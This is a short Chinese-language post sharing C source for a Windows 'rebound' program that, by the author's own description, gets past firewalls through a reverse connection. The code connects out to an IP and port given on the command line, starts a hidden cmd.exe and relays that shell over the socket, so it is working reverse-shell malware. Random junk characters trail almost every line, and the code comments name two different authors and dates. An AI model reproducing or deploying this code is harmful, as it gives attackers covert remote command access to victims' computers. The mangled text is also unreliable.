这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iE}jilU
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/* ============================== Q1qf'u
Rebound port in Windows NT owA3>E5t&
By wind,2006/7 ZoJ:4uo
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===============================*/ fo])=KM
#include 'U<-w$!f+^
#include {;4AdZk
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#pragma comment(lib,"wsock32.lib") ]JQk,<l5E
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void OutputShell(); ~__]E53F
SOCKET sClient; y6KI.LWR9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]Xcqf9k
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void main(int argc,char **argv) 9 F~U%
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{ Va"_.8n|+
WSADATA stWsaData; M 7j0&>NTG
int nRet; zuOx@T^
SOCKADDR_IN stSaiClient,stSaiServer; ?' H);ou-p
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if(argc != 3) ^n5[pF}Gw
{ M70X dn
printf("Useage:\n\rRebound DestIP DestPort\n"); ;$W/le"Xr
return; +O23@G?x
} '>(R'g42n
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WSAStartup(MAKEWORD(2,2),&stWsaData); T:Dp+m!\{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); se](hu~w
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stSaiClient.sin_family = AF_INET; pfW0)V1t
stSaiClient.sin_port = htons(0); 1
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =Haqr*PDx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bu"R2~sb
{ TRG(W^<F
printf("Bind Socket Failed!\n"); W(9fCDO;
return; ToIvyeFr
} .fxI)
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stSaiServer.sin_family = AF_INET; -ecP@,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6L~@jg~0A[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _+K[1P
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UJkg|eu
{ #3maT*JY
printf("Connect Error!"); 'UO,DFq[Fl
return; !Y_"q^5GG'
} iK%<0m
OutputShell(); }~dXz?{p8
} '>[KVvm
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void OutputShell() UD[S>{
{ 10dVV[=
char szBuff[1024]; +F ~;Q$T
SECURITY_ATTRIBUTES stSecurityAttributes; uf,4GPo,
OSVERSIONINFO stOsversionInfo; N$J)Ow
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a#W:SgE?Y
STARTUPINFO stStartupInfo; wL,b.]
char *szShell; p~M1}mE
PROCESS_INFORMATION stProcessInformation; fAWjk&9
unsigned long lBytesRead; }NPF]P;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Iw~3y{\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8Dpf{9Y-E
stSecurityAttributes.lpSecurityDescriptor = 0; ABEC{3fWpu
stSecurityAttributes.bInheritHandle = TRUE; W?{:HV
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V#!ihL/>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xd8UdQ,lt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W;*rSK|(Sc
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `pY\Mmgv1
stStartupInfo.wShowWindow = SW_HIDE; &NV[)6!
stStartupInfo.hStdInput = hReadPipe; (5?5? <
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Okca6=2"
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GetVersionEx(&stOsversionInfo); 0~RsdQGqC
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switch(stOsversionInfo.dwPlatformId) w3:WvA5jt
{ Q17"hO>kC
case 1: ZC3b9:tk
szShell = "command.com"; 4*OL^\%
break; N]: "3?%
default: v,r}q1.E}
szShell = "cmd.exe"; XhFa9RC
break; ke|v|@
} (5{ |']G
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mnL
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send(sClient,szMsg,77,0);
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while(1) HyXw^ +tsj
{ !cw<C*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0Mt2Rg}
if(lBytesRead) wo7.y["$
{ ~6@zXHAS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jD3,z*
send(sClient,szBuff,lBytesRead,0); ~\/>b}^uf'
} 0CI?[R\
else I})la!9
{ VB*N;bM^
lBytesRead=recv(sClient,szBuff,1024,0); (6z^m?t?
if(lBytesRead<=0) break; exV6&bdu
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hC<X\yxe
} 'P}"ZHW
} +V1EqC*
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return; m_~
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}